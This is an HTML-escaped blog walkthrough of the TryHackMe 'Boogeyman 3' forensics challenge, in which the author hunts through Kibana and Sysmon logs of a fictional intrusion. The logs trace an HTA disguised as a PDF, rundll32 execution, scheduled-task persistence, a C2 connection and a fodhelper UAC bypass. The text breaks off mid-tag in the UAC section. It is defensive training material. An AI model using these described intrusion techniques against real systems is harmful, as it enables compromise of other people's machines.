            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/e114acf88621796ddca1c9ca24721f93_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Boogeyman 3 Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackmeboogeyman-3-challenge-walkthrough&#34;&gt;TryHackMe — Boogeyman 3 Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-domain-forensic-investigation-usingkibana&#34;&gt;A Domain Forensic Investigation using Kibana&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;e114acf88621796ddca1c9ca24721f93_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;374px&#34; data-flex-grow=&#34;155&#34; height=&#34;513&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/e114acf88621796ddca1c9ca24721f93_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/boogeyman3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Have you feared the return of the &lt;em&gt;Boogeyman&lt;/em&gt;?&lt;/p&gt;&#xA;&lt;p&gt;If not, you’ve stumbled on the right blog! Welcome to my weekly walkthrough. This is a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 3&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;, the third in a series of capstone challenges for their SOC Level 1 learning path. This challenge is a &lt;strong&gt;digital forensics and incident response (&lt;em&gt;DFIR&lt;/em&gt;)&lt;/strong&gt; engagement for the final showdown with a fictional threat actor called the &lt;em&gt;Boogeyman.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to catch up on how we got here, check out my walkthroughs of &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/tryhackme-boogeyman-1-challenge-walkthrough-23e927086317&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 1&lt;/strong&gt;&lt;/a&gt; &lt;strong&gt;&amp;amp;&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://stumblesec.medium.com/tryhackme-boogeyman-2-challenge-walkthrough-07c3d8fa4aa0&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Boogeyman 2&lt;/strong&gt;&lt;/a&gt; first.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Boogeyman 1 Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-2-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe — Boogeyman 2 Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;To unmask the &lt;em&gt;Boogeyman&lt;/em&gt; this time_,_ we’re all about hunting through logs within &lt;em&gt;Kibana,&lt;/em&gt; part of the &lt;em&gt;Elastic Stack,&lt;/em&gt; to figure out how the latest attack unfolded against an organization compromised by this persistent, shadowy threat actor. Doesn’t sound so scary, right?&lt;/p&gt;&#xA;&lt;p&gt;Now let’s grab our flashlights and shine a light on the &lt;em&gt;Boogeyman’s&lt;/em&gt; latest tactics, techniques, and procedures. I don’t want to ruin any of the surprises, so this walkthrough is spoiler-free, but please use it as a reference and enjoy! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/boogeyman3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/r/room/boogeyman3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;Due to the previous attacks of Boogeyman, Quick Logistics LLC hired a managed security service provider to handle its Security Operations Center. Little did they know, the Boogeyman was still lurking and waiting for the right moment to return.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;In this room, you will be tasked to analyse the new tactics, techniques, and procedures (TTPs) of the threat group named Boogeyman.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;Without tripping any security defences of Quick Logistics LLC, the Boogeyman was able to compromise one of the employees and stayed in the dark, waiting for the right moment to continue the attack. Using this initial email access, the threat actors attempted to expand the impact by targeting the CEO, Evan Hutchinson.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-pid-of-the-process-that-executed-the-initial-stage-1payload&#34;&gt;Question 1: What is the PID of the process that executed the initial stage 1 payload?&#xA;&lt;/h3&gt;&lt;p&gt;First things first. After starting the lab environment, enter the &lt;em&gt;Elastic&lt;/em&gt; web console and navigate to the &lt;em&gt;Analytics&lt;/em&gt; &amp;gt; &lt;em&gt;Discover&lt;/em&gt; module. This dashboard is where we’ll be exploring the logs within the &lt;code&gt;winlogbeat&lt;/code&gt; index_._&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b912b3faafc86cc29e84acb0810df5dc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/b912b3faafc86cc29e84acb0810df5dc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we get into our dashboard, we’ll have to adjust the time filters to view the logged events during the time of the incident. Fortunately, the security team reported to us that “&lt;em&gt;the incident occurred between&lt;/em&gt; &lt;strong&gt;&lt;em&gt;August 29 and August 30, 2023&lt;/em&gt;&lt;/strong&gt;” so we can narrow the scope by modifying the dates in the time selection field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3ebaad8e27ab71f313874b313d50338d_MD5.gif&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;407px&#34; data-flex-grow=&#34;169&#34; height=&#34;1124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/3ebaad8e27ab71f313874b313d50338d_MD5.gif&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/3ebaad8e27ab71f313874b313d50338d_MD5_hu_b6b0b4a94e22973a.gif 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/3ebaad8e27ab71f313874b313d50338d_MD5_hu_75531342c926add4.gif 1600w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/3ebaad8e27ab71f313874b313d50338d_MD5.gif 1908w&#34; width=&#34;1908&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;We’ll filter the first date/time, selecting &lt;strong&gt;Absolute&lt;/strong&gt; and setting the start date to &lt;em&gt;August 29th, 2023,&lt;/em&gt; at &lt;em&gt;0:00&lt;/em&gt; and the end date of &lt;em&gt;August 30th, 2023,&lt;/em&gt; at &lt;em&gt;23:30&lt;/em&gt;. This selection gives us all the logs ingested during the incident.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5d191b354322e7536d37f550d9b686a6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/5d191b354322e7536d37f550d9b686a6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now that we have the time period set, where do we start? Well, remember from the scenario that the initial access method was a spear phishing email that had an attachment executed by the CEO, Evan Hutchinson. The security team discovered that the attachment was an &lt;strong&gt;ISO&lt;/strong&gt; file containing a “PDF” file — &lt;strong&gt;ProjectFinancialSummary_Q3.pdf.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;We saw from the triage that &lt;strong&gt;Windows Explorer&lt;/strong&gt; displayed this is an &lt;strong&gt;HTML application (HTA)&lt;/strong&gt;, not a &lt;strong&gt;PDF&lt;/strong&gt;. So, we’re potentially looking for malicious &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1218/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Mshta&lt;/strong&gt;&lt;/a&gt; code execution activity. But let’s start broadly and simply search for the file name by entering it into the search bar at the top of the window.&lt;/p&gt;&#xA;&lt;p&gt;This will produce 4 events for us to review. Let’s start with the first event with the oldest time stamp. As we suspected, we see our parent file spawning &lt;strong&gt;mshta.exe&lt;/strong&gt; to handle the file along with the corresponding &lt;code&gt;ProcessId&lt;/code&gt; that we’ll need to answer &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;704c4d70e5c721dfc3469ea4727bcd05_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;288px&#34; data-flex-grow=&#34;120&#34; height=&#34;998&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/704c4d70e5c721dfc3469ea4727bcd05_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/704c4d70e5c721dfc3469ea4727bcd05_MD5_hu_1732de7c532ae714.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/704c4d70e5c721dfc3469ea4727bcd05_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Before we submit our answer, note the hostname, host IP address, and username of the CEO’s compromised workstation. This will help us stay organized as we follow the attack.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;WKSTN-0051&lt;/code&gt; / &lt;code&gt;10.10.155.159&lt;/code&gt; / &lt;code&gt;evan.hutchinson&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ecc63140910c05811f68554f6e008d2c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/ecc63140910c05811f68554f6e008d2c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-the-stage-1-payload-attempted-to-implant-a-file-to-another-location-what-is-the-full-command-line-value-of-this-execution&#34;&gt;Question 2: The stage 1 payload attempted to implant a file to another location. What is the full command-line value of this execution?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let’s focus on the next event in the list. We see evidence of &lt;code&gt;[xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)&lt;/code&gt; activity which can be used to move files around the system.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8a8605cea112e1c2ffbe159155dd56de_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;741px&#34; data-flex-grow=&#34;308&#34; height=&#34;259&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/8a8605cea112e1c2ffbe159155dd56de_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since we’re interested in the full command to understand what file was copied and to which destination, let’s make some adjustments to our dashboard and toggle some columns within our table instead of expanding the event. This will allow us to see the full &lt;code&gt;process.command_line&lt;/code&gt; field easily and have a cleaner view moving forward.&lt;/p&gt;&#xA;&lt;p&gt;To do this, search the &lt;strong&gt;Available fields column&lt;/strong&gt; on the left-hand side and press the &lt;strong&gt;+&lt;/strong&gt; button to add the &lt;code&gt;process.command_line&lt;/code&gt; field as a column.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;00d17fdffa38e384c66737b10c4b9078_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;693px&#34; data-flex-grow=&#34;288&#34; height=&#34;277&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/00d17fdffa38e384c66737b10c4b9078_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;You’ll notice in the screenshots below that I also added the &lt;code&gt;process.parent.executable&lt;/code&gt; and &lt;code&gt;host.hostname&lt;/code&gt; fields as columns too, making it far easier to see the sequence of events at a glance.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8382d1b365eb33bb6772062c808e431a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;844px&#34; data-flex-grow=&#34;351&#34; height=&#34;341&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/8382d1b365eb33bb6772062c808e431a_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/8382d1b365eb33bb6772062c808e431a_MD5_hu_36ca2db14c008d48.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/8382d1b365eb33bb6772062c808e431a_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now, revisiting the second event with this view, we’ll see the full command-line value for the &lt;code&gt;[xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)&lt;/code&gt; activity, revealing that the attacker moved a file from the &lt;strong&gt;ISO&lt;/strong&gt; to a temporary directory on &lt;code&gt;WKSTN-0051&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1fd84243d28021a23e7a602e11e29857_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/1fd84243d28021a23e7a602e11e29857_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-implanted-file-was-eventually-used-and-executed-by-the-stage-1-payload-what-is-the-full-command-line-value-of-this-execution&#34;&gt;Question 3: The implanted file was eventually used and executed by the stage 1 payload. What is the full command-line value of this execution?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing through the timeline, let’s look at the third event. Analyzing the command line, we see &lt;code&gt;[rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32)&lt;/code&gt; executed to register a &lt;strong&gt;DLL&lt;/strong&gt; within the &lt;strong&gt;ISO&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2073622bb62bb4474ea5a9300c33f7ba_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;844px&#34; data-flex-grow=&#34;351&#34; height=&#34;341&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/2073622bb62bb4474ea5a9300c33f7ba_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/2073622bb62bb4474ea5a9300c33f7ba_MD5_hu_5409fe9a0f9c95f4.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/2073622bb62bb4474ea5a9300c33f7ba_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;db50b23a1e7f610226ca3d3b54f1b1d8_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/db50b23a1e7f610226ca3d3b54f1b1d8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-stage-1-payload-established-a-persistence-mechanism-what-is-the-name-of-the-scheduled-task-created-by-the-malicious-script&#34;&gt;Question 4: The stage 1 payload established a persistence mechanism. What is the name of the scheduled task created by the malicious script?&#xA;&lt;/h3&gt;&lt;p&gt;Next, examine the last of the four events. By focusing on the &lt;code&gt;process.command_line&lt;/code&gt; column, we can see that &lt;strong&gt;PowerShell&lt;/strong&gt; is used to create a new &lt;strong&gt;Scheduled Task&lt;/strong&gt; for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1053/005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;persistence&lt;/a&gt;. This task executes &lt;code&gt;[rundll32](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32)&lt;/code&gt; to &lt;strong&gt;register&lt;/strong&gt; the file transferred to &lt;code&gt;WKSTN-0051&lt;/code&gt; via &lt;code&gt;[xcopy](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/xcopy)&lt;/code&gt; from &lt;strong&gt;Question 2.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Examining the &lt;code&gt;Register-ScheduledTask&lt;/code&gt; parameter, we’ll find the name of the task in the command:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a83ebca915b9704394da04c1335fcfb1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;844px&#34; data-flex-grow=&#34;351&#34; height=&#34;341&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/a83ebca915b9704394da04c1335fcfb1_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/a83ebca915b9704394da04c1335fcfb1_MD5_hu_8de98c0b00cf09ee.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/a83ebca915b9704394da04c1335fcfb1_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;476924e57d121b446ebe379dea777631_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/476924e57d121b446ebe379dea777631_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-execution-of-the-implanted-file-inside-the-machine-has-initiated-a-potential-c2-connection-what-is-the-ip-and-port-used-by-this-connection-formatipport&#34;&gt;Question 5: The execution of the implanted file inside the machine has initiated a potential C2 connection. What is the IP and port used by this connection? (format: IP:port)&#xA;&lt;/h3&gt;&lt;p&gt;Since we’re out of events to analyze in the current search, we need to pivot and expand our scope. Since we know from the last question that the attacker is leveraging &lt;strong&gt;PowerShell,&lt;/strong&gt; let’s try narrowing our search for that. Fortunately for us, &lt;strong&gt;Quick Logistics LLC,&lt;/strong&gt; had deployed &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon&lt;/strong&gt;&lt;/a&gt; on the CEO’s workstation which gives us an advantage.&lt;/p&gt;&#xA;&lt;p&gt;Searching for &lt;strong&gt;PowerShell.exe&lt;/strong&gt; and querying &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-3-network-connection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysmon Event ID 3&lt;/strong&gt;&lt;/a&gt; for “t_he network connection event logs TCP/UDP connections on the machine_” might help find some clues leading us to uncover the &lt;strong&gt;command and control (C2)&lt;/strong&gt; connection.&lt;/p&gt;&#xA;&lt;p&gt;First, we’ll input the search.&lt;/p&gt;&#xA;&lt;p&gt;powershell.exe and event.provider : &amp;ldquo;Microsoft-Windows-Sysmon&amp;rdquo; and event.code : &amp;ldquo;3&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9be1ef6b02e44a2bc84b8c328b69603c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;543px&#34; data-flex-grow=&#34;226&#34; height=&#34;530&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/9be1ef6b02e44a2bc84b8c328b69603c_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/9be1ef6b02e44a2bc84b8c328b69603c_MD5_hu_8817c7b7d3509464.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/9be1ef6b02e44a2bc84b8c328b69603c_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, enter &lt;code&gt;destination.ip&lt;/code&gt; into the &lt;strong&gt;search field names&lt;/strong&gt; box and click the field name. This will show us the top 5 values across the logs. Notice that there are three IP addresses: One is the CEO’s workstation, another is the IPv6 local loopback, and the top result is an &lt;em&gt;external&lt;/em&gt; IP. The external IP is present in the overwhelming majority of the searched &lt;strong&gt;PowerShell&lt;/strong&gt; logs. It’s suspicious that a compromised workstation would connect to an external IP address over &lt;strong&gt;PowerShell.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the second half of the question, we can check the &lt;code&gt;destination.port&lt;/code&gt; field to find the port number. Since there is only one entry, we don’t need to look any further. Now we have both the IP Address and Port of the C2 connection.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e38c4587cee314692f05bb7519a002c6_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;270px&#34; data-flex-grow=&#34;112&#34; height=&#34;709&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/e38c4587cee314692f05bb7519a002c6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7ca46a36fd3d0fb7a17eabf567cb46ff_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2742px&#34; data-flex-grow=&#34;1142&#34; height=&#34;70&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/7ca46a36fd3d0fb7a17eabf567cb46ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-the-attacker-has-discovered-that-the-current-access-is-a-local-administrator-what-is-the-name-of-the-process-used-by-the-attacker-to-execute-a-uacbypass&#34;&gt;Question 6: The attacker has discovered that the current access is a local administrator. What is the name of the process used by the attacker to execute a UAC bypass?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the C2 server, we need to understand how the attacker escalated privileges and bypassed &lt;strong&gt;user account control (UAC)&lt;/strong&gt;. Recall from &lt;strong&gt;Question 2&lt;/strong&gt; that the stage 1 payload leveraged &lt;strong&gt;xcopy&lt;/strong&gt; to implant a file onto the CEO’s workstation?&lt;/p&gt;&#xA;&lt;p&gt;Let’s search for the implanted file, &lt;strong&gt;review.dat&lt;/strong&gt;, to understand what other actions were performed. Right away we’ll see some discovery activity including &lt;strong&gt;whoami&lt;/strong&gt; and &lt;strong&gt;net.exe&lt;/strong&gt; commands used to enumerate local group membership and the associated permissions. But that’s not what we’re interested in. Notice another odd executable in the list for the &lt;strong&gt;Windows&lt;/strong&gt; &lt;strong&gt;Features on Demand Helper.&lt;/strong&gt; This seems out of place, doesn’t it?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7c53741ca6b2e2723d378ac9c04626ef_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;550px&#34; data-flex-grow=&#34;229&#34; height=&#34;523&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/7c53741ca6b2e2723d378ac9c04626ef_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/7c53741ca6b2e2723d378ac9c04626ef_MD5_hu_8dbc4754cdc9ee25.png 800w, https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/7c53741ca6b2e2723d378ac9c04626ef_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let’s research on &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; to understand if this executable can be abused to bypass &lt;strong&gt;UAC&lt;/strong&gt;. With a quick search, we’ll land on the page for the technique &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Abuse Elevation Control Mechanism: Bypass User Account Control (T1548.002)&lt;/strong&gt;&lt;/a&gt; where we find the note below with a reference link:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c089fccc2bd0f98923c00f518e00c406_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2865px&#34; data-flex-grow=&#34;1194&#34; height=&#34;67&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-3-challenge-walkthrough/c089fccc2bd0f98923c00f518e00c406_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MITRE ATT&amp;amp;CK: &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1548/002/&#34;  target=&#34;_blank&#34; 